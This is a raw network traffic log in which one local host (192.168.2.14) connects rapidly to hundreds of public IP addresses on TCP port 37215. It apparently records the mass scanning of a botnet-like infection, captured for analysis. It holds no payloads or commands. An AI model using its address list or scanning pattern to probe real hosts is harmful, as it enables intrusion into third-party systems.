Jul 20, 2024 23:01:02.040011883 CEST	60986	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:02.041903019 CEST	59774	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:02.042850971 CEST	37215	40822	41.121.47.232	192.168.2.14
Jul 20, 2024 23:01:02.042889118 CEST	40822	37215	192.168.2.14	41.121.47.232
Jul 20, 2024 23:01:02.043550014 CEST	41482	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:02.043906927 CEST	53052	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:02.045020103 CEST	52068	37215	192.168.2.14	157.245.238.163
Jul 20, 2024 23:01:02.045176983 CEST	37215	60986	43.186.3.173	192.168.2.14
Jul 20, 2024 23:01:02.045218945 CEST	60986	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:02.046932936 CEST	37215	59774	41.79.186.119	192.168.2.14
Jul 20, 2024 23:01:02.049910069 CEST	37215	40822	41.121.47.232	192.168.2.14
Jul 20, 2024 23:01:02.051810980 CEST	37215	60986	43.186.3.173	192.168.2.14
Jul 20, 2024 23:01:02.056777000 CEST	48950	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:02.057729006 CEST	60986	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:02.062159061 CEST	45158	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:02.065821886 CEST	45474	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:02.066907883 CEST	59774	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:02.071110010 CEST	37215	45474	157.203.119.152	192.168.2.14
Jul 20, 2024 23:01:02.073715925 CEST	47794	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:02.073715925 CEST	45018	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:02.075256109 CEST	38188	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:02.075736046 CEST	37215	59774	41.79.186.119	192.168.2.14
Jul 20, 2024 23:01:02.080291986 CEST	37215	38188	197.249.151.109	192.168.2.14
Jul 20, 2024 23:01:02.080327034 CEST	38188	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:02.081922054 CEST	45474	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:02.083467007 CEST	40822	37215	192.168.2.14	41.121.47.232
Jul 20, 2024 23:01:02.083467007 CEST	47630	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:02.083811998 CEST	42316	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:02.085670948 CEST	37215	38188	197.249.151.109	192.168.2.14
Jul 20, 2024 23:01:02.086265087 CEST	38188	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:02.088536024 CEST	37215	45474	157.203.119.152	192.168.2.14
Jul 20, 2024 23:01:02.088882923 CEST	37215	42316	41.34.34.12	192.168.2.14
Jul 20, 2024 23:01:02.089210033 CEST	42316	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:02.090725899 CEST	37215	47630	197.228.255.157	192.168.2.14
Jul 20, 2024 23:01:02.093029022 CEST	58282	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:02.093903065 CEST	33888	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:02.097138882 CEST	39320	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:02.098360062 CEST	37215	42316	41.34.34.12	192.168.2.14
Jul 20, 2024 23:01:02.098668098 CEST	49858	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:02.098668098 CEST	45474	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:02.098963976 CEST	52980	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:02.098963976 CEST	57054	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:02.102364063 CEST	42316	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:02.104545116 CEST	37215	39320	4.79.178.142	192.168.2.14
Jul 20, 2024 23:01:02.104650021 CEST	37215	33888	41.171.70.30	192.168.2.14
Jul 20, 2024 23:01:02.105051041 CEST	37215	58282	90.241.170.10	192.168.2.14
Jul 20, 2024 23:01:02.105092049 CEST	58282	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:02.105938911 CEST	37215	49858	212.127.34.6	192.168.2.14
Jul 20, 2024 23:01:02.106802940 CEST	49858	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:02.107408047 CEST	39320	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:02.110531092 CEST	37215	58282	90.241.170.10	192.168.2.14
Jul 20, 2024 23:01:02.111251116 CEST	47630	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:02.111732006 CEST	45562	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:02.112663031 CEST	37215	49858	212.127.34.6	192.168.2.14
Jul 20, 2024 23:01:02.113306999 CEST	37215	39320	4.79.178.142	192.168.2.14
Jul 20, 2024 23:01:02.114264011 CEST	49858	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:02.114264011 CEST	58282	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:02.114361048 CEST	39320	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:02.115792036 CEST	59774	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:02.116139889 CEST	37215	52980	197.195.106.45	192.168.2.14
Jul 20, 2024 23:01:02.116545916 CEST	37215	57054	197.77.31.163	192.168.2.14
Jul 20, 2024 23:01:02.116759062 CEST	52980	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:02.116759062 CEST	57054	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:02.117082119 CEST	37215	45562	41.30.131.179	192.168.2.14
Jul 20, 2024 23:01:02.117244005 CEST	45562	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:02.119091034 CEST	37215	47630	197.228.255.157	192.168.2.14
Jul 20, 2024 23:01:02.122255087 CEST	47630	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:02.122581959 CEST	43488	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:02.123497963 CEST	37215	52980	197.195.106.45	192.168.2.14
Jul 20, 2024 23:01:02.123543978 CEST	37215	57054	197.77.31.163	192.168.2.14
Jul 20, 2024 23:01:02.124624968 CEST	40600	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:02.124624968 CEST	48420	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:02.126061916 CEST	37215	45562	41.30.131.179	192.168.2.14
Jul 20, 2024 23:01:02.128087044 CEST	37215	43488	41.226.92.193	192.168.2.14
Jul 20, 2024 23:01:02.128977060 CEST	43488	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:02.129405975 CEST	46280	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:02.130259991 CEST	57054	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:02.130259991 CEST	52980	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:02.130480051 CEST	37215	40600	197.59.92.194	192.168.2.14
Jul 20, 2024 23:01:02.130489111 CEST	37215	48420	41.80.60.235	192.168.2.14
Jul 20, 2024 23:01:02.131706953 CEST	45562	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:02.132369041 CEST	45886	37215	192.168.2.14	24.132.91.59
Jul 20, 2024 23:01:02.134988070 CEST	58610	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:02.135090113 CEST	36536	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:02.138134003 CEST	37215	46280	197.241.150.191	192.168.2.14
Jul 20, 2024 23:01:02.138166904 CEST	37215	43488	41.226.92.193	192.168.2.14
Jul 20, 2024 23:01:02.138168097 CEST	46280	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:02.138556957 CEST	43488	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:02.141813040 CEST	37215	45886	24.132.91.59	192.168.2.14
Jul 20, 2024 23:01:02.141872883 CEST	45886	37215	192.168.2.14	24.132.91.59
Jul 20, 2024 23:01:02.142196894 CEST	54236	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:02.142801046 CEST	37215	58610	197.8.234.46	192.168.2.14
Jul 20, 2024 23:01:02.142910004 CEST	37215	36536	197.66.212.124	192.168.2.14
Jul 20, 2024 23:01:02.143521070 CEST	58610	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:02.144068003 CEST	40600	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:02.144068003 CEST	48420	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:02.144068003 CEST	57882	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:02.146873951 CEST	34332	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:02.146873951 CEST	33888	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:02.147362947 CEST	37215	54236	197.164.125.148	192.168.2.14
Jul 20, 2024 23:01:02.147393942 CEST	54236	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:02.147670031 CEST	37215	46280	197.241.150.191	192.168.2.14
Jul 20, 2024 23:01:02.150614023 CEST	37215	58610	197.8.234.46	192.168.2.14
Jul 20, 2024 23:01:02.150943041 CEST	37215	40600	197.59.92.194	192.168.2.14
Jul 20, 2024 23:01:02.151384115 CEST	37215	48420	41.80.60.235	192.168.2.14
Jul 20, 2024 23:01:02.152180910 CEST	37215	57882	41.40.48.20	192.168.2.14
Jul 20, 2024 23:01:02.152872086 CEST	37215	54236	197.164.125.148	192.168.2.14
Jul 20, 2024 23:01:02.159209013 CEST	37215	34332	157.183.27.248	192.168.2.14
Jul 20, 2024 23:01:02.159570932 CEST	37215	33888	41.171.70.30	192.168.2.14
Jul 20, 2024 23:01:02.167815924 CEST	54236	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:02.167815924 CEST	58610	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:02.169850111 CEST	46280	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:02.175676107 CEST	36536	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:02.189167023 CEST	60374	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:02.189167023 CEST	43890	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:02.190267086 CEST	37215	36536	197.66.212.124	192.168.2.14
Jul 20, 2024 23:01:02.198560953 CEST	37215	60374	13.86.185.73	192.168.2.14
Jul 20, 2024 23:01:02.198570013 CEST	37215	43890	157.255.17.174	192.168.2.14
Jul 20, 2024 23:01:02.216512918 CEST	36238	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:02.218725920 CEST	57418	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:02.221858025 CEST	57882	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:02.221858025 CEST	48420	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:02.221858025 CEST	40600	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:02.222709894 CEST	34332	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:02.222709894 CEST	33888	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:02.223047018 CEST	54792	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:02.223738909 CEST	37215	36238	76.199.109.54	192.168.2.14
Jul 20, 2024 23:01:02.224531889 CEST	37215	57418	41.212.179.177	192.168.2.14
Jul 20, 2024 23:01:02.224562883 CEST	57418	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:02.225404978 CEST	38906	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:02.228640079 CEST	35610	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:02.229362011 CEST	37215	54792	157.47.87.238	192.168.2.14
Jul 20, 2024 23:01:02.229394913 CEST	54792	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:02.230190039 CEST	37215	34332	157.183.27.248	192.168.2.14
Jul 20, 2024 23:01:02.230642080 CEST	36536	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:02.230642080 CEST	60374	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:02.230642080 CEST	43890	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:02.230969906 CEST	37215	57882	41.40.48.20	192.168.2.14
Jul 20, 2024 23:01:02.230988979 CEST	37215	38906	60.250.175.203	192.168.2.14
Jul 20, 2024 23:01:02.231029987 CEST	38906	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:02.231410027 CEST	37215	57418	41.212.179.177	192.168.2.14
Jul 20, 2024 23:01:02.234245062 CEST	57418	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:02.234700918 CEST	37215	35610	157.136.175.137	192.168.2.14
Jul 20, 2024 23:01:02.234735966 CEST	35610	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:02.235239983 CEST	36598	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:02.236644030 CEST	37215	54792	157.47.87.238	192.168.2.14
Jul 20, 2024 23:01:02.237329006 CEST	37215	38906	60.250.175.203	192.168.2.14
Jul 20, 2024 23:01:02.240449905 CEST	37215	36598	197.170.105.28	192.168.2.14
Jul 20, 2024 23:01:02.240994930 CEST	36598	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:02.241046906 CEST	37215	60374	13.86.185.73	192.168.2.14
Jul 20, 2024 23:01:02.241398096 CEST	37215	43890	157.255.17.174	192.168.2.14
Jul 20, 2024 23:01:02.242166996 CEST	37215	35610	157.136.175.137	192.168.2.14
Jul 20, 2024 23:01:02.242245913 CEST	54792	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:02.242245913 CEST	35610	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:02.242460012 CEST	38906	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:02.244129896 CEST	40186	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:02.244380951 CEST	36306	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:02.246310949 CEST	37215	36598	197.170.105.28	192.168.2.14
Jul 20, 2024 23:01:02.250262976 CEST	37215	36306	157.229.133.19	192.168.2.14
Jul 20, 2024 23:01:02.251770973 CEST	36238	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:02.251770973 CEST	49218	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:02.251895905 CEST	36306	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:02.252520084 CEST	57882	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:02.252520084 CEST	46694	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:02.254245996 CEST	36598	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:02.256104946 CEST	34332	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:02.257332087 CEST	35696	37215	192.168.2.14	157.71.253.214
Jul 20, 2024 23:01:02.257350922 CEST	37215	40186	41.115.1.213	192.168.2.14
Jul 20, 2024 23:01:02.259207010 CEST	51542	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:02.260519981 CEST	37215	36238	76.199.109.54	192.168.2.14
Jul 20, 2024 23:01:02.260937929 CEST	37215	49218	197.181.156.3	192.168.2.14
Jul 20, 2024 23:01:02.261599064 CEST	54692	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:02.262379885 CEST	37215	46694	138.242.39.199	192.168.2.14
Jul 20, 2024 23:01:02.262658119 CEST	37215	36306	157.229.133.19	192.168.2.14
Jul 20, 2024 23:01:02.263802052 CEST	41258	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:02.264029026 CEST	37215	35696	157.71.253.214	192.168.2.14
Jul 20, 2024 23:01:02.264158964 CEST	35696	37215	192.168.2.14	157.71.253.214
Jul 20, 2024 23:01:02.265155077 CEST	46694	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:02.266228914 CEST	37215	51542	66.133.8.3	192.168.2.14
Jul 20, 2024 23:01:02.266258955 CEST	51542	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:02.266494036 CEST	36306	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:02.266777039 CEST	43890	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:02.266777039 CEST	60374	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:02.266777039 CEST	59918	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:02.266940117 CEST	37215	54692	197.37.177.219	192.168.2.14
Jul 20, 2024 23:01:02.266983032 CEST	54692	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:02.270771980 CEST	57010	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:02.270822048 CEST	37215	46694	138.242.39.199	192.168.2.14
Jul 20, 2024 23:01:02.271969080 CEST	37215	51542	66.133.8.3	192.168.2.14
Jul 20, 2024 23:01:02.272047997 CEST	47626	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:02.272047997 CEST	50544	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:02.272296906 CEST	40186	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:02.272298098 CEST	49218	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:02.272298098 CEST	36238	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:02.272526026 CEST	37215	54692	197.37.177.219	192.168.2.14
Jul 20, 2024 23:01:02.272890091 CEST	47970	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:02.274252892 CEST	51542	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:02.274252892 CEST	46694	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:02.275572062 CEST	37215	59918	145.169.160.7	192.168.2.14
Jul 20, 2024 23:01:02.275769949 CEST	59254	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:02.276262999 CEST	37215	57010	41.180.195.47	192.168.2.14
Jul 20, 2024 23:01:02.276299000 CEST	57010	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:02.277405024 CEST	37215	41258	197.210.50.88	192.168.2.14
Jul 20, 2024 23:01:02.278207064 CEST	37215	47970	41.248.220.216	192.168.2.14
Jul 20, 2024 23:01:02.278378963 CEST	54692	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:02.278378963 CEST	58652	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:02.278790951 CEST	41258	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:02.278911114 CEST	47970	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:02.278935909 CEST	37215	47626	41.160.188.126	192.168.2.14
Jul 20, 2024 23:01:02.280127048 CEST	59918	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:02.281924009 CEST	37215	59254	152.71.212.76	192.168.2.14
Jul 20, 2024 23:01:02.281955957 CEST	59254	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:02.282603979 CEST	56066	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:02.283369064 CEST	37215	40186	41.115.1.213	192.168.2.14
Jul 20, 2024 23:01:02.283380032 CEST	37215	57010	41.180.195.47	192.168.2.14
Jul 20, 2024 23:01:02.285260916 CEST	47626	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:02.286184072 CEST	45068	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:02.286190033 CEST	37215	58652	197.70.43.24	192.168.2.14
Jul 20, 2024 23:01:02.286226034 CEST	58652	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:02.286612988 CEST	37215	49218	197.181.156.3	192.168.2.14
Jul 20, 2024 23:01:02.287127018 CEST	37215	47970	41.248.220.216	192.168.2.14
Jul 20, 2024 23:01:02.287137032 CEST	37215	50544	60.162.189.105	192.168.2.14
Jul 20, 2024 23:01:02.287167072 CEST	50544	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:02.288562059 CEST	54692	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:02.290245056 CEST	57010	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:02.290245056 CEST	47970	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:02.290249109 CEST	40186	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:02.290250063 CEST	49218	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:02.290523052 CEST	44924	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:02.291311979 CEST	37215	59254	152.71.212.76	192.168.2.14
Jul 20, 2024 23:01:02.291321993 CEST	37215	56066	197.77.202.247	192.168.2.14
Jul 20, 2024 23:01:02.291353941 CEST	56066	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:02.293147087 CEST	37215	45068	197.153.186.108	192.168.2.14
Jul 20, 2024 23:01:02.293180943 CEST	45068	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:02.293348074 CEST	45842	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:02.293634892 CEST	37215	54692	41.131.64.64	192.168.2.14
Jul 20, 2024 23:01:02.294270992 CEST	37215	41258	197.210.50.88	192.168.2.14
Jul 20, 2024 23:01:02.294275999 CEST	59254	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:02.294368982 CEST	54692	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:02.296133041 CEST	37215	44924	41.145.5.36	192.168.2.14
Jul 20, 2024 23:01:02.296165943 CEST	44924	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:02.297404051 CEST	37215	59918	145.169.160.7	192.168.2.14
Jul 20, 2024 23:01:02.297424078 CEST	52592	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:02.298248053 CEST	41258	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:02.298250914 CEST	59918	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:02.298393965 CEST	37215	47626	41.160.188.126	192.168.2.14
Jul 20, 2024 23:01:02.299175978 CEST	37215	58652	197.70.43.24	192.168.2.14
Jul 20, 2024 23:01:02.299570084 CEST	37215	45842	41.117.226.58	192.168.2.14
Jul 20, 2024 23:01:02.299609900 CEST	45842	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:02.300162077 CEST	37178	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:02.302731037 CEST	54222	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:02.303165913 CEST	37215	52592	41.181.208.214	192.168.2.14
Jul 20, 2024 23:01:02.303198099 CEST	52592	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:02.304735899 CEST	58460	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:02.305140018 CEST	37215	37178	197.17.71.182	192.168.2.14
Jul 20, 2024 23:01:02.305175066 CEST	37178	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:02.306664944 CEST	58652	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:02.306884050 CEST	47626	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:02.307161093 CEST	57698	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:02.308326960 CEST	37215	54222	42.255.69.128	192.168.2.14
Jul 20, 2024 23:01:02.308358908 CEST	54222	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:02.309812069 CEST	37215	58460	207.21.193.219	192.168.2.14
Jul 20, 2024 23:01:02.309847116 CEST	58460	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:02.310090065 CEST	37215	56066	197.77.202.247	192.168.2.14
Jul 20, 2024 23:01:02.310120106 CEST	45326	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:02.310250044 CEST	56066	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:02.313407898 CEST	37215	57698	157.177.125.202	192.168.2.14
Jul 20, 2024 23:01:02.313441992 CEST	57698	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:02.314223051 CEST	36104	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:02.316942930 CEST	38644	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:02.317598104 CEST	37215	45326	41.156.215.126	192.168.2.14
Jul 20, 2024 23:01:02.318301916 CEST	45326	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:02.319248915 CEST	53338	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:02.319674015 CEST	37215	36104	157.31.140.76	192.168.2.14
Jul 20, 2024 23:01:02.319708109 CEST	36104	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:02.321300983 CEST	35314	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:02.322465897 CEST	37215	38644	199.67.163.62	192.168.2.14
Jul 20, 2024 23:01:02.322499990 CEST	38644	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:02.323226929 CEST	56210	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:02.324029922 CEST	37215	45068	197.153.186.108	192.168.2.14
Jul 20, 2024 23:01:02.324510098 CEST	37215	53338	37.3.189.109	192.168.2.14
Jul 20, 2024 23:01:02.324548960 CEST	53338	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:02.325257063 CEST	53680	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:02.326674938 CEST	37215	54692	41.131.64.64	192.168.2.14
Jul 20, 2024 23:01:02.327200890 CEST	50604	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:02.327692986 CEST	37215	35314	157.75.252.43	192.168.2.14
Jul 20, 2024 23:01:02.327821016 CEST	35314	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:02.327883959 CEST	45068	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:02.328807116 CEST	37215	44924	41.145.5.36	192.168.2.14
Jul 20, 2024 23:01:02.330166101 CEST	33058	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:02.330214024 CEST	37215	56210	41.10.15.208	192.168.2.14
Jul 20, 2024 23:01:02.330252886 CEST	54692	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:02.330363989 CEST	44924	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:02.330363989 CEST	56210	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:02.331173897 CEST	37215	45842	41.117.226.58	192.168.2.14
Jul 20, 2024 23:01:02.332736015 CEST	57302	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:02.333808899 CEST	37215	53680	157.220.26.182	192.168.2.14
Jul 20, 2024 23:01:02.333826065 CEST	37215	52592	41.181.208.214	192.168.2.14
Jul 20, 2024 23:01:02.333844900 CEST	53680	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:02.334244013 CEST	52592	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:02.334255934 CEST	45842	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:02.335139990 CEST	34686	37215	192.168.2.14	113.163.100.190
Jul 20, 2024 23:01:02.336113930 CEST	37215	50604	199.150.19.53	192.168.2.14
Jul 20, 2024 23:01:02.336160898 CEST	50604	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:02.336366892 CEST	37215	33058	197.88.129.45	192.168.2.14
Jul 20, 2024 23:01:02.336550951 CEST	33058	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:02.337485075 CEST	37215	37178	197.17.71.182	192.168.2.14
Jul 20, 2024 23:01:02.338128090 CEST	37215	57302	41.233.169.62	192.168.2.14
Jul 20, 2024 23:01:02.339570045 CEST	57302	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:02.340625048 CEST	57848	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:02.340646982 CEST	37215	34686	113.163.100.190	192.168.2.14
Jul 20, 2024 23:01:02.340686083 CEST	34686	37215	192.168.2.14	113.163.100.190
Jul 20, 2024 23:01:02.340837002 CEST	37215	54222	42.255.69.128	192.168.2.14
Jul 20, 2024 23:01:02.342093945 CEST	54462	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:02.342247963 CEST	37178	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:02.342322111 CEST	54222	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:02.342677116 CEST	37215	58460	207.21.193.219	192.168.2.14
Jul 20, 2024 23:01:02.345083952 CEST	60422	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:02.346246004 CEST	58460	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:02.346574068 CEST	37215	57848	139.212.201.39	192.168.2.14
Jul 20, 2024 23:01:02.346651077 CEST	57848	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:02.346970081 CEST	57400	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:02.347259045 CEST	37215	54462	157.81.103.110	192.168.2.14
Jul 20, 2024 23:01:02.347311974 CEST	54462	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:02.349102974 CEST	37215	57698	157.177.125.202	192.168.2.14
Jul 20, 2024 23:01:02.349217892 CEST	48024	37215	192.168.2.14	197.62.166.112
